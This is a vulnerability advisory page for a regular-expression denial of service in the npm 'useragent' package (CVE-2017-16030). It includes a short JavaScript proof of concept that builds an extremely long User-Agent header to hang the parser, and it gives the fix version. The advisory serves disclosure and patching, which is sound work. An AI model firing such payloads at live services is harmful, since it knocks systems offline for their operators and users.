GHSA-pjmx-9xr3-82qr

    Dashboard / Vulnerabilities / GHSA-pjmx-9xr3-82qr

    GHSA-pjmx-9xr3-82qr

    Published: 24 Jul 2018Last Modified: 8 Nov 2023

    Summary: ReDoS via long UserAgent header in useragent

    Details: Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed. ## Proof of Concept ```js var useragent = require('useragent'); var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ``` ## Recommendation Update to version 2.1.13 or later.

    References: https://nvd.nist.gov/vuln/detail/CVE-2017-16030, https://github.com/advisories/GHSA-pjmx-9xr3-82qr, https://www.npmjs.com/advisories/312

    Affected packages

    Package

    Name: useragent

    Purl: pkg:npm/useragent

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -2.1.13

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-pjmx-9xr3-82qr | CVE-DB